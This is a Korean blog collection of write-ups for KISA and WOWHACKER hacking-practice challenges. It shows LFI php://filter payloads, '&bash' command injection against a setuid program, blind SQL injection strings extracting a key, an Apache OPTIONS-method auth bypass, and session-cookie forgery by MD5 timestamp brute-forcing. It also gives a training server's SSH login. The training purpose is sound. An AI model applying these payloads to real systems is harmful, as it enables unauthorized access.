KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


Web Level 4 문제를 보면 아래와 같습니다. 


제목 : 파일 읽기


설명 : 해당 웹 사이트에 접속하여 인증키를 얻어내 보아라


파일을 읽는 문제라고 하는군요. 무슨 뜻일까요? 


[문제 풀기]를 클릭해서 링크를 따라 들어가 봅시다. 



추천은 저를 춤추게 합니다 ^^



메뉴를 이것저것 클릭하다 보니 URL에 '?path=main' 처럼 값을 줘서 보여줄 화면을 지정하고 있는걸 알 수 있습니다. 


크롬(chrome) 브라우저의 요소 검사(Inspect Element)로 소스를 봐 봅시다. 


소스의 맨 위에 'readme.php'라는게 보입니다. 

왠지 저 파일에 뭔가 문제를 풀 수 있는 힌트가 숨겨져 있을것 같은 느낌이 드는군요.  

그래서 제목이 파일 읽기 인가 봅니다. 


자신있게 URL의 path값을 readme.php 로 수정해 봅시다. 


이런.. 아무것도 나오지 않는군요. 


역시 그렇게 간단한 문제는 아닌가 봅니다. 

포기하지 말고 readme.php파일을 보기 위해 여러가지 기법을 사용해 봅시다. 


먼저 LFI(Local File Inclusion)기법 중 가장 많이 사용되는 base64 encode방식으로 시도해 봅시다. 


?path=php://filter/convert.base64-encode/resource=readme


화면에 'no hack'이란 메시지가 나오네요. 

이런 수법을 사용할걸 미리 알고 다 막아놨나 봅니다. 


그렇다고 여기서 포기하면 안되죠. 

PHP 사이트 에 가서 다른 필터 방식을 찾아 봅시다. 

우선 conversion 필터 내용을 확인 해보고 시도해봤으나 역시나 다 막혀있네요. 


이번에는 String 필터쪽을 살펴봅시다. 



문자열(String) 필터 링크를 따라 들어가봅시다. 


'string.rot13'이 지원 된다고 하는군요. 

이게 뭔가 찾아보니 '카이사르 암호의 일종으로 영어 알파벳을 13글자씩 밀어서 만든다.' 라고 하는군요. 


큰 기대가 되진 않지만 우선 시도해봅시다. 

URL을 다음과 같이 수정해서 시도하면 됩니다. 


?path=php://filter/string.rot13/resource=readme


화면에는 아무것도 나타나지 않지만 크롬 브라우저의 '요소 검사(Inspect Element)'기능의 'Resources' 탭에서 보니 뭔가 메시지가 보이네요. 


<?

$xrl = "gxqykzncfodufgxsxn_dbeuizrx_oo";

?>


우리가 rot13 방식으로 인코딩 했으니 이 값을 디코딩 하면 무슨 값이 되는지 해봅시다. 


rot13 을 디코딩 해주는 사이트를 찾아 들어가봅시다. 


먼저 앞에 있는 값 'xrl'을 입력하고 디크립트(decrypt)를 수행했더니 'key'라고 나오네요. 

그렇다면 뒤에 있는 값은 우리가 찾는 키 값이 되겠죠?


값을 입력하고 디크립트를 수행하면 그토록 애타게 찾던 키 값이 나옵니다. ^^ 


base64 인코딩 방식으로 풀어보려 URL을 인코딩도 해보고.. 별별 방법으로 엄청 삽질 했네요. 

문제를 풀고나니 오히려 허무하기까지 한 문제였지 않나 싶습니다. 

Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


Network Level 2 문제를 보면 아래와 같습니다. 


제목 : PCAP 파일을 분석하여라!


설명 : 주어진 PCAP 파일을 분석하여

인증키를 추출해 보아라!



추천은 저를 춤추게 합니다 ^^



문제 풀기를 클릭하면 proc_p2.pcap파일을 다운 받을 수 있습니다. 


와이어샤크(wireshark)로 열어봅시다. 


그리고, 메뉴에서 'statistics > conversations'을 선택해봅시다. 



두 호스트 간 통신한 내용을 간략하게 정리해서 보여주는 기능입니다. 

이제 하나 하나 'Follow Stream' 버튼을 눌러가며 통신 내용을 살펴 봅시다. 
전반적으로 훑어보고 의심가는 flow를 먼저 봐도 됩니다. 

보다 보니 telent 통신을 한 내역이 있네요. 

암호화 되어 있지 않아서 서로 주고받은 데이터를 모두 볼수가 있네요. 



아래쪽으로 내려보니 로그인 정보가 있습니다. 

설마 이렇게 쉬운 문제를 냈을까 싶지만.. 이 값이 문제에서 요구한 인증키 입니다. 


단, 저 문구를 통채로 넣는것은 아니구요.. 일부만 넣어야 합니다.

일부가 어디부터 어디까지 인지는 문구를 보면 아마도(?) 아실 겁니다. 


만약, 봐도 감이 안온다면 그냥 여러번 시도하시면 되니깐 푸는데는 지장 없을 겁니다. 

Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


Network Level1 문제를 보면 아래와 같습니다. 


문제 제목 : PCAP 파일을 분석하여라!


문제 설명 : 주어진 PCAP 파일을 분석하여

인증키를 추출해 보아라!



추천은 저를 춤추게 합니다 ^^



문제 풀기를 클릭하면 findkey2.pcap 파일을 다운 받을 수 있습니다. 

와이어샤크(wireshark)로 열어봅시다. 


메뉴에서 'statistics > conversations'을 선택해봅시다. 


두 호스트 간 통신한 내용을 간략하게 정리해서 보여주는 기능입니다. 


이제 하나 하나 'Follow Stream' 버튼을 눌러가며 통신 내용을 살펴 봅시다. 



TCP 프로토콜 6664번 포트로 통신한 내용입니다. 

HanIRC 통신인데 평문으로 통신했기 때문에 대화 내용을 모두 볼 수가 있네요.


혹시나 대화 중에 키 값이 있을 지 모르니 찬찬히 대화 내용을 살펴 보았지만 별 다른 내용이 없습니다. 

그런데, 대화 마지막에 'my.zip' 파일을 보내겠다고 하는군요. 

혹시 주어진 pcap파일에 my.zip파일을 전송하는 패킷이 포함되어 있을 지 모르니 한 번 찾아봅시다. 


만약, zip파일의 header/footer 값을 알고 있다면 수월합니다. 


메뉴의 'Edit > Find Packet' 을 선택해봅시다. 

'Hex Value'를 선택하고 zip파일의 header인 '50 4B 03 04 14'를 넣고 'Find'버튼을 클릭해봅시다. 



패킷 하나가 검색 되었네요. 

해당 패킷에서 마우스 우 클릭 후 'Follow TCP Stream' 메뉴를 선택해봅시다. 


통신 한 내용이 나옵니다. 즉, zip파일의 내용에 해당하겠죠. 


화면 하단의 'Save As'를 선택 후 원래 보내려던 이름인 'my.zip'으로 저장해봅시다. 


저장된 zip 파일을 열어봅시다. 


zip파일 안에는 'my.txt'라는 파일이 있고 파일을 열어보면 key값이 들어있습니다. 

약간의 인내심을 가지고 노가다를 해야 하긴 하지만 의외로 쉽게 풀리는 문제입니다. 



만약, conversations 메뉴에서 아래 그림처럼 zip파일을 전송하는 tcp flow를 찾았다면 더 간단하게 문제를 풀 수 도 있었을 겁니다. 


'Follow Stream' 버튼을 클릭하면 my.zip 파일을 주고받는 통신을 바로 볼 수 있습니다.


Posted by KT한
,

KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


System Level1 문제를 보면 아래와 같습니다. 


문제 제목 : 취약한 메아리 프로그램


문제 설명 : 개발자는 메아리 프로그램을 제작 하

였다. 

허나 어설픈 보안 설정으로 해당 프로그램의 취약

점이 존재 한다. 

취약점을 찾아서 SHELL을 획득 하여라.




접근 IP : 221.143.48.107

접근 PORT : 22


접근ID : system100

접근 PW : !kisa_system_gogosing~!!!



추천은 저를 춤추게 합니다 ^^




접근 포트가 22번 이므로 SSH로 접속해봅시다.


$ ssh system100@221.143.48.107


주어진 비밀번호를 입력하면 접속이 이루어집니다. 


우선 현재 폴더에 어떤 파일들이 있는지 확인 해봅시다. 


-bash-4.1$ ll

total 8

-r-sr-x---. 1 root100 system100 7841 Dec  8  2012 system100


system100이란 파일이 있는데 파일의 사용 권한 부분을 보면 소유자의 권한은 'r-s' 입니다. 
SetUID()로 권한을 부여 했다는 말이겠죠. 
그리고, 그룹 권한은 'r-x'로 실행권한을 부여해주었네요. 

다음 필드인 소유자ID와 소유자의 그룹ID를 보면, 그룹ID는 접속해 있는 'system100'인데 소유자는 'root100'이군요. 

다시 말해서, 파일을 실행하면 root100의 권한을 얻을 수 있다는 의미가 됩니다. 


자, 실행 권한이 있는것을 확인 했으니 system100파일을 실행해봅시다. 


-bash-4.1$ ./system100 

ECHO Program------------------

INPUT : a

a


문제 설명에서 처럼 입력한 값을 그대로 출력해주고 바로 종료되버립니다. 

프로그램을 종료 시키지 않고 우리가 원하는 어떤 정보를 출력하도록 해야겠죠?



이번 문제에서 찾아야할 취약점은 특수 문자에 대한 예외처리가 제대로 이루어 지지 않아서 발생하는 문제점 입니다. 


linux 명령어에서 '&'는 프로세스를 백그라운드로 실행 되도록 하는 명령입니다. 

이 문자 뒤에 'bash'를 실행하도록 입력값으로 넣어봅시다. 


-bash-4.1$ ./system100 

ECHO Program------------------

INPUT : &bash


어떤 변화가 발생 했는지 자신의 계정 정보를 확인해봅시다. 

bash-4.1$ id
uid=503(root100) gid=501(system100) groups=503(root100),501(system100) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

오호.. 권한이 'root100'이 되었군요. 

그럼 권한이 상승했으니 root100의 home 폴더에 어떤 파일이 있나 살펴봅시다. 

$ ls /home/root100/
key

파일명만 봐도 정답이 들어있는 파일이란걸 알 수 있죠. 
파일에 들어있는 내용을 입력하면 레벨 클리어~


Posted by KT한
,
해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 

WOWHACKER WEBGAME SEASON2  Level 9 풀이법입니다. 


이번 레벨은 1~7레벨과 달리 별도의 준비물이 필요합니다. 
외부에서 request 패킷을 보내오면 그 패킷에 대해 처리해주는 과정이 필요한데 이를 위해서 외부에서 내 PC로 패킷을 보내올 수 있도록 공인 IP를 할당 받아야 됩니다. 
물론, 현재 공인IP를 쓰고 있다면 한결 수월할겁니다. 
저는 공유기를 쓰고 있어서 목적지 포트가 80인 패킷에 대해  제 PC로 오도록 포트 포워딩(Port forwarding)설정을 해줬습니다. 

기본적인 준비를 마쳤다면 문제를 풀어봅시다. 


추천은 저를 춤추게 합니다 ^^




  • 1단계: 문제 의도 파악하기 

주어진 링크에 들어가면 이런 화면이 나옵니다. 

뭔가 URL을 넣으라는것 같군요. 

와우해커 웹게임 주소를 넣어봅시다. 


서버가 Apache라는 사실과 함께 아래로 다양한 URL에 대한 서버 정보가 보이네요. 
테이블을 가만 보니 DB에서 정보를 불러와서 보여주는것 같다는 느낌이 들죠?


  • 2단계: Blind SQL Injection에 대해 알아보기 

간략하게 SQL Injection과 Blind SQL Injection의 차이점을 알아보자면.. 
Blind 는 결과 값을 화면에 보여주지 않고, 결과 값이 '참(true)' 혹은 '거짓(false)' 인지만 가지고 값을 찾아내는 방법입니다. 
자세한 내용은 와우해커에 잘 설명된 문서가 있으니 참고하시면 될것 같네요. ^^ 




  • 3단계: 웹 서버 구동시키기 

이 글의 맨 아래에 보면 간단하게 실행 가능한 파이썬(Python) 웹 서버 코드를 올려뒀습니다. 
80포트로 GET 패킷이 들어오면 커맨드 라인으로 입력받은 값을 응답으로 보내주도록 한 코드입니다. 

사용 법
$ sudo python level9.py   Apache

우선, 입력값을 'Apache'라고 주고 서버를 실행 시킨 후 ..
와우해커에서 오는 목적지 포트가 80인 패킷에 대해 내 PC로 오게 해두었다는 전재하에.. 
URL에 자신의 공인 IP를 입력해봅시다. 


동일한 결과가 나오는 군요. 


실제로 Wireshark를 실행시켜서 패킷을 덤프해보면 'GET' 패킷이 들어오는것을 알 수 있습니다.



  • 4단계: schema table 탐색하기 

레벨 7의 SQL Injection과 동일하게 'INFORMATION_SCHEMA.TABLES'에서 테이블 이름을 알아내봅시다. 

참고로, 입력값에 길이 제한이 있으니 가능한 빈칸은 없게 해야 합니다. 

명령어 예제
$ sudo python level9.py   "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),1,1)) > 100#"


SQL 명령을 주고 서버를 실행 한 후 아래와 같이 테이블에 아무내용도 나오지 않는다면 거짓(False)인 겁니다. 


만약, 아래와 같이 어떤 데이터가 나온다면 참(True)인 겁니다. 



즉, 특정 필드의 값을 알수 있다는 의미인거죠. 


처음에는 크기 비교 부등호 (>,<)를 이용해서 범위를 좁혀다가다 최종 확인은 같은지 비교하는 부등호(=) 를 써서 확인 하면 됩니다. 

아래 명령으로 테이블 이름을 찾아낼 수 있습니다. 

 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),1,1))=114#"  
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),2,1))=101#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),3,1))=97#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),4,1))=100#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),5,1))=109#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),6,1))=101#" 


ASCII코드 값을 비교해서 글자를 한 글자씩 알아내면 됩니다. 
이렇게 찾아낸 결과를 조합해보면 'readme'라는 테이블이 존재함을 알 수 있습니다. 
물론, 다른 테이블도 존재하지만 문제와 상관없는 테이블들 이므로 무시하겠습니다. 


  • 5단계: schema column 탐색 

이번에는 'INFORMATION_SCHEMA.COLUMNS'에서 열(column)값을 알아봅시다. 

아래 명령으로 열(column)이름을 찾아낼 수 있습니다. 

 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),1,1))=118#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),2,1))=97#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),3,1))=108#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),4,1))=117#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),5,1))=101#" 

ASCII코드 값을 비교해서 글자를 한 글자씩 알아내면 됩니다. 
이렇게 찾아낸 결과를 조합해보면 'value'라는 열(column)이 존재함을 알 수 있습니다. 


  • 6단계: 키 값 찾기

database와 관련된 필요한 정보는 모두 찾았습니다.
이제 실제 키 값만 찾으면 되겠군요. 

한 글자 한 글자 찾는 과정이 노가다도 이런 노가다가 없네요.
안들려

키 값을 찾기 위해 아래와 같은 명령을 실행하면 됩니다. 

'-1\' or ascii(substr((select value from readme),1,1)) = 87#'       
'-1\' or ascii(substr((select value from readme),2,1)) = 101#'     
'-1\' or ascii(substr((select value from readme),3,1)) = 98#'        
'-1\' or ascii(substr((select value from readme),4,1)) = 71 #'      
'-1\' or ascii(substr((select value from readme),5,1)) = 97 #'       
'-1\' or ascii(substr((select value from readme),6,1)) = 109 #'    
'-1\' or ascii(substr((select value from readme),7,1)) = 101 #'     
'-1\' or ascii(substr((select value from readme),8,1)) = 73 #'        
'-1\' or ascii(substr((select value from readme),9,1)) = 115 #'     
'-1\' or ascii(substr((select value from readme),10,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),11,1)) = 101 #'   
'-1\' or ascii(substr((select value from readme),12,1)) = 114 #'   
'-1\' or ascii(substr((select value from readme),13,1)) = 121 #'   
'-1\' or ascii(substr((select value from readme),14,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),15,1)) = 101 #'   
'-1\' or ascii(substr((select value from readme),16,1)) = 114 #'   
'-1\' or ascii(substr((select value from readme),17,1)) = 121 #'   
'-1\' or ascii(substr((select value from readme),18,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),19,1)) = 70 #'      
'-1\' or ascii(substr((select value from readme),20,1)) = 117 #'    
'-1\' or ascii(substr((select value from readme),21,1)) =  110 #'   
'-1\' or ascii(substr((select value from readme),22,1)) =  110 #'   
'-1\' or ascii(substr((select value from readme),23,1)) =  121 #'   
'-1\' or ascii(substr((select value from readme),23,1)) =  33 #'     


드디어 결과가 나왔습니다. 

오랜시간 삽질 하느라 수고하셨습니다. ^^ 
축하2


예의상 답은 스스로 알아보시라고 적지 않겠습니다~ 

  • 별첨: 파이썬(Python) 웹서버 코드 : 



Posted by KT한
,

해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 


WOWHACKER WEBGAME SEASON2  Level 6 풀이법입니다. 


링크: http://webgame.wowhacker.com/AnTsGam3/


주어진 링크를 따라 들어가봅시다. 



크롬(chrome)으로 들어가면 달팽이 이미지가 보이고, 'Target Point' 에 매우 큰 숫자가 보입니다. 

그리고 저절로 숫자가 올라가면서 'Target Point' 뒤에 글자가 바뀌는군요. 


그런데 무슨 의도인지 알기가 애매합니다. 


혹시 모르니 익스플로러(Explorer)로 들어가봅시다. 


아..마우스로 개미를 클릭 할 때마다 숫자가 올라가는 개미 잡기 게임이였군요. 


자! 단계별로 차근 차근 풀어봅시다.



추천은 저를 춤추게 합니다 ^^



  • 1단계: 자바스크립트 내용 보기 


화면에서 마우스 우 클릭 후 'View Page Source'를 선택합니다. 


소스를 보면 매우 긴 자바 스크립트가 보이게 되죠. 

<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%

.. 중략 ..

%2636372C%2636372F%2636372C2%2638%263%3A%264D0tdsjqu%264F1')</script>


그런데 내용은 매우 길지만 난독화가 되어 있어서 도무지 알아볼 수가 없네요. 



  • 2단계: 난독화된 코드 복호화 하기 - 크롬


크롬은 기본적으로 자바스크립트 난독화 코드에 대해 복호화 해주는 기능을 제공해줍니다. 

'F12'키를 눌러 봅시다. 



화면 하단부에 html 소스가 보입니다. 

'<html>'의 '<head>'에 자바스크립트가 나와있는게 보입니다. 


자바스크립트에서 'Target Point'인 '4294967296' 검색해봅시다. 


point별로 화면에 보이던 문자가 보이는걸 보니 우리가 찾던 소스인것 같네요. 

그리고, point가 'Target Point'보다 클 경우에 대한 내용도 나와 있습니다. 



  • 2단계: 난독화된 코드 복호화 하기 - 파이어폭스(Firefox)


파이어폭스에서는 마우스 우 클릭 후 'Inspect Element(Q)'를 선택하면 됩니다. 



역시나 하단부에 스크립트 내용이 보이게 되고 크롬브라우저와 동일하게 point를 계산하는 코드를 찾아보시면 됩니다. 



  • 3단계: 정답 페이지 찾기 - 크롬


위에 코드를 보니 point 값을 넣어주는 부분이 보이는 군요. 


var point = document.wow.WoWPoInT.value;


크롬의 훌륭한(?) 기능을 활용해서 이 값을 변경해 봅시다. 

브라우저의 주소 입력창에 아래와 같이 입력해봅시다. 


javascript: document.wow.WoWPoInT.value=4294967296


앞에 'javascript:'를 붙여서 자바스크립트의 특정 값을 지정해줄 수 있는 기능입니다. 


잠시후.. 



다른 페이지로 이동되면서 화면에 답이 똭~! 나오네요. 



  • 3단계: 정답 페이지 찾기 - 파이어폭스


문제의 코드를 자세하게 살펴 봅시다. 


if (point >= 4294967296) {

var o = "";

o += document.b.a.value;

o += document.e.a.value;

o += document.c.a.value;

o += document.a.a.value;

o += document.d.a.value;

document.wow.MSG.value = "Bingo!";

location.href="wOwLevel6.php?msg=" + o + "!";

}


point가 목표 수치에 도달하면 'o'라는 변수에 a,b,c,d,e 각각의 'a.value'를 붙이도록 되어 있군요. 

그리고 나선 'location.href'로 링크를 현재 페이지의 뒷 부분을 지정해주도록 해줬네요. 


그럼, a,b,c,d,e라는 변수에 어떤 값이 들어있는지를 찾으면 되는 거네요. 


자, 자바스크립트를 보여주는 화면의 끝으로 이동해봅시다. 



<form name="a"> 가 보이고..  값이 "Crazy"라고 나오는군요. 

그 아래로 b,c,d,e가 모두 보입니다. 


위에서 봤던 코드에서 b,e,c,a,d 순서로 문자를 더했으니 우리도 그 순서대로 더해봅시다. 

'IdontLikeCrazyCow'가 되는군요. 


이제 주소창에 구한 답을 가지고 링크를 아래와 같이 입력해봅시다. 



역시 정답 페이지가 나옵니다. 


스마트한 브라우저 덕분에 난독화된 자바스크립트 보는거 참 쉽죠? 굿잡


Posted by KT한
,

해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 


WOWHACKER WEBGAME SEASON2  Level 5 풀이법입니다. 


링크: http://webgame.wowhacker.com/UhaveToAuth


주어진 링크를 따라 들어가봅시다. 



다짜고자 이름과 비밀번호를 묻는 창이 뜨는군요. 

인증을 해야만 들어갈 수 있나 봅니다.


자! 단계별로 차근 차근 풀어봅시다.



추천은 저를 춤추게 합니다 ^^



  • 1단계: 취약점 알아보기  


아파치 서버는 웹 인증을 통해 접근을 제어할 수 있습니다. 

'<Limit GET POST PUT>' 처럼 특정 메소드(method)를 지정해주는게 가능합니다. 


문제는 이렇게 하면 지정한 메소드이외의 메소드에 대해서는 인증 절차를 거치지 않고 바로 접근이 가능한 취약점이 있답니다. 


기본적으로 인증 팝업창을 통해서 인증을 시도하게 되면 'GET' 메소드를 사용하게 되는데 이 메소드만 살짝 바꿔서 인증이 우회 되는지 확인해 봅시다. 



  • 2단계: 메소드 편집 툴 설치 


메소드를 변경하는 다양한 방법이 있겠지만 개인적으로 크롬(chrome)을 선호하기에 크롬에서 가능한 방법을 소개하고자 합니다. 

먼저 크롬 앱 스토어에서 'Dev HTTP Client'를 검색해서 설치해봅시다. 



설치를 완료했다면 실행해봅시다. 


플러그인이 아니므로 브라우저 우측 상단에 보이지 않습니다. 

새로운 탭에서 하단의 'Apps'를 선택해야 보입니다. 



위에 보이는 화살표 모양 아이콘을 클릭하면 실행 됩니다. 



정상적으로 실행 된다면 이런 화면이 뜰겁니다. 



  • 3단계: 아파치 인증 우회하기 


URL 입력창에 Level 5 주소를 입력하고 Method를 'POST'로 변경해서 'Send'를 해 봅시다. 



하단부에 결과가 나오는게 보입니다. 

역시나 'POST' 메소드도 제한이 걸려 있나 봅니다. 


여기서 포기하지 말고 다른 메소드로도 시도해 봅시다. 


'OPTIONS' 메소드로 하면.. 



지금까지와 달리 다른 메시지가 나오는걸 볼 수 있습니다. 

내용을 보니 Key 정보까지 보이는 군요. 


이번 레벨은 참 허무(?)하게 성공했네요. 

어쨌든 축하합니다. 


Posted by KT한
,

해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 


WOWHACKER WEBGAME SEASON2  Level 4 풀이법입니다. 


링크: http://webgame.wowhacker.com/wlv4game/


주어진 링크를 따라 들어가 봅시다. 


로그인 화면이 나오는 군요. 



친절하게 guest 계정의 로그인 정보까지 적어놨군요.

자! 단계별로 차근 차근 풀어봅시다. 



추천은 저를 춤추게 합니다 ^^



  • 1단계: guest 세션키 정보 분석


먼저 guest 계정으로 로그인 해봅시다. 


여기저기 링크가 있군요. 기웃기웃 거려 봅시다. 

혹시 중요한 힌트가 숨겨져 있을지도 모르니깐요. 


'Query' 입력란도 있군요. (아쉽게도 함정입니다. 단순히 경고창만 띄워주도록 되어 있습니다.)

그외에는 별 다른게 없어 보입니다. 


그럼 쿠키 값을 살펴 봐야겠죠? 


크롬(chrome) 브라우저의  'Edit This Cookie' 플러그인을 설치해봅시다. 


크롬의 우측 상단에 쿠키 모양 아이콘을 클릭하면 아래와 같은 창이 뜹니다. 


'WOWSESSIONID' 필드에 보면 왠 값이 들어있네요. 

흠.. 왠지 MD5 해쉬 값인것 처럼 보이는 군요. 


구글에서 MD5 decrypt 를 해주는 사이트를 찾아 들어가봅시다. 

※ 이론적으로 MD5 해쉬는 복호화 할 수 없지만.. DB에 다양한 값들의 해쉬값을 가지고 있으면서 복호화를 수행해주는 사이트가 다수 존재합니다. 



디코드 필드에 복사해온 값을 붙여 넣고 복호화를 시도해봅시다. 


http://md5.web-max.ca/


어라? 복사한 값의 절반 정도만 붙여넣기가 되네요.  

오호라~ 값 2개가 붙어 있나봅니다. 생각중


어쨌든 앞 부분은 복호화를 했더니 'guest'라는 문자열이라고 나옵니다. 

접속 계정의 ID를 MD5 해쉬로 한 값이 앞 부분이라는걸 알아냈군요. 


뒷 부분을 마저 붙여넣기 하고 복호화 해봤더니 찾을 수 없다고 나옵니다. 잘 알려진 패턴은 아닌가 보네요. 



로그아웃 하고 다시 한번 'WOWSESSIONID' 값을 확인해봅시다. 


클릭하면 큰 그림을 볼 수 있어요~ 


'guest'에 해당하는 값은 그대로인데 뒷 부분 값은 변했네요. 

 왠지 접속 시간을 이용해서 'WEBSESSIONID'를 만드는것 같다는 느낌이 드는군요. 


접속 시간인 'LoginTime: 2013-06-05 09:26:27' 값을 timestamp로 변환해 봅시다. 


웹에서 하고 싶으시다면 아래 사이트에서 변환하면 됩니다. 


http://www.epochconverter.com/

local time으로 설정 한 후 timestamp를 생성하면 됩니다. 


물론, Linux(Ubuntu)에서 bash로 변환하는 방법도 있습니다. 

date 명령을 이용하면 쉽게 timestamp값을 구할 수 있죠. 


$ date +%s -d "20130605 09:26:27"

1370391987



여기서 나온 값을 가지고 MD5 해쉬를 구해봅시다. 



물론, MD5 해쉬도 Ubuntu(Linux) 에서 변환하는 방법이 있습니다. 

md5sum 명령어를 활용하면 손쉽게 구할 수 있죠. 


$ echo -n 1370391987 | md5sum

9c90960cf8ec5b1f4e32062884a33ec6  -


결과가 나왔네요. 


9c90960cf8ec5b1f4e32062884a33ec6 


WOWSESSIONID의 time 값과 일치하는 값입니다. 


이것으로 세션키는 접속 계정의 ID 와 접속 시간의 timestamp값의 MD5 해쉬 값이란걸 알게 됐습니다. 



※간혹 위와 동일하게 수행하더라도 결과값이 제대로 나오지 않는 경우가 있습니다. 

원인은 제가 문제 출제자가 아니다 보니 .. 잘 모르겠네요. 



  • 2단계: 관리자 세션키 - 앞 부분 구하기 


현재 접속해 있는 사람 중 'admin'이란 계정이 있는데, 딱 봐도 관리자 계정일거란 생각이 드네요. 

'admin'이란 문자열을 MD5 해쉬한 값을 구해봅시다. 


http://www.md5hashgenerator.com/



  • 3단계: 관리자 세션키 - 뒷 부분 구하기

 이제 'admin'의 접속 시간을 MD5 해쉬한 값을 구해서 세션키를 바꿔치기 해 봅시다. 

그런데.. 'admin'이 언제 접속했는지 어떻게 알아야 할까요?


보아하니 화면 중앙에 있는 공지글을 'admin'이 썼을 테니.. 

최소한 최초 글을 쓰기 이전에 접속을 했겠군요. 



이제 접속 시간을 알아내봐야 할 시간입니다. 


이제 저 삽질하는 이미지의 의미가 이해가 되면서 몸에 와닿기 시작하네요. 

'로그인 시간을 열심히 삽질해서 알아내 봐라!' 라는 의미겠죠? 부처



MD5해쉬 값을 구하기 어려우니 bash로 구해봅시다. 

시간을 넉넉히 잡아 9시 11분 부터 최초 글을 작성한 9시 12분 21초 까지 값을 MD5 해쉬를 수행해봅시다. 


저는 ubuntu에서 아래 명령어로 생성했습니다. 


$ for ((i = 1213056660; i < 1213056741; i++)) ; do  echo -n $i | md5sum  >> mf5_hash.txt; done


내용이 너무 길어서 접어뒀습니다. 보고 싶으신 분들은 아래 클릭! 


이제 'admin'의 해쉬값인 '21232f297a57a5a743894a0e4a801fc3'와 timestamp의 해쉬 값들을 조합해서 열심히 쿠키를 바꿔치기 할 차례입니다. 

진정한 삽질이죠. 


결과적으로 '67c90cd08d7a3d88f90e63fe768f5a8c'가 답입니다. 

관리자는 9시 12분 00초에 접속했나봅니다. 


'edit this cookie'의 'WOWSESSIONID' 필드에 지금까지 구한 두 MD5 해쉬 값을 붙여서 넣어봅시다. 


'21232f297a57a5a743894a0e4a801fc367c90cd08d7a3d88f90e63fe768f5a8c



쿠키값을 변조한 후 'Submit cookie changes'를 눌러주면 됩니다. 



  • 4단계: 숨겨진 정답 찾기 


쿠키값 변조를 통해 'admin'으로 접속을 하게 되면 아래와 같은 화면이 나옵니다. 



'guest'로 접속했을 때와 달리 접속 시간 하단부에 'Userlist'라는 링크가 하나 생겼네요. 

궁금하니 클릭해봅시다. 


두둥! 애타게 찾던 정답이 여기 숨어 있었네요. 


guest:guest
admin:nologin
level4:VeRY Good! My Friend!


축하합니다. 다음 단계로 넘어가봅시다! 


Posted by KT한
,


해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 


WOWHACKER WEBGAME SEASON2  Level 3 풀이법입니다. 


링크: http://webgame.wowhacker.com/weblevel3/list.php


주어진 링크를 따라 들어가 봅시다. 



게시판이 보이고 글이 몇개 보이는 군요. 


첫번째 글을 클릭해봅시다. 



별 내용은 없는데 첨부 파일이 보이네요. 

한 번 클릭해 봅시다. 


새로운 링크페이지가 열리면서 첨부된 파일이 보입니다. 



경로를 보니 뭔가 냄새가 나는것 같죠. 


다른 글에 있는 첨부 파일도 열어 봅시다. 



역시나 비슷한 패턴을 가지고 있는게 보입니다. 

자! 단계별로 차근 차근 풀어봅시다. 



추천은 저를 춤추게 합니다 ^^



  • 1단계: 링크 주소의 비밀 밝혀내기 


링크 주소에 어떤 규칙이 있을 지 곰곰히 생각해 봅시다. 




아하! 글 작성 시간에 있는 값과 링크의 뒷부분 숫자가 같다는걸 알 수 있습니다. 


이제 앞에 있는 값만 알아내면 되겠군요. 


링크 주소 패턴이 MD5 패턴인것 같다는 생각이 듭니다. 

왠지 글을 작성한 시간을 가지고 MD5 해쉬를 수행하면 링크 주소와 같은 패턴이 나올것 같기도 하다는 생각이 듭니다. 



  • 2단계: time stamp값 구하기 


우선 시간값을 time stamp로 변환해봅시다. 

구글에서 'timestamp'로 검색해서 time stamp를 계산해 주는 사이트에 들어가봅니다. 


http://www.epochconverter.com/


게시글의 작성 시간을 입력하고 'Local time'으로 time stamp를 생성해봅시다. 

결과값이 '1161129925'라고 나왔네요



  • 3단계: MD5 해쉬값 구하기 


이 값을 MD5로 변환해봅시다. 

역시나 구글에서 'MD5 hash'로 검색해서 해쉬값을 구해주는 사이트에 들어가봅시다. 


http://www.md5hashgenerator.com/


위에서 구한 time stamp값을 넣고 MD5 해쉬를 구해보면.. 'b72776c5eb0c5a05a7188959a49e1f1b' 라고 나옵니다. 


왠지 낯익은 값이 나온것 같네요. 



빙고! 첨부파일 링크에 있는 값과 동일한 값이 구해졌네요. 



  • 4단계: 비밀글 첨부파일 링크 찾기 


비밀글의 첨부파일 경로를 찾기 위해 비밀글의 작성 시간을 봅시다. 



저 시간을 time stamp로 변환해보면.. '1161499792' 가 나옵니다. 

이 값을 MD5 해쉬를 구해보면 'fb6e412cf733d6b9cdf777cbcafa35c3'가 나옵니다. 


그렇다면 첨부파일의 링크는 어떻게 될까요? 


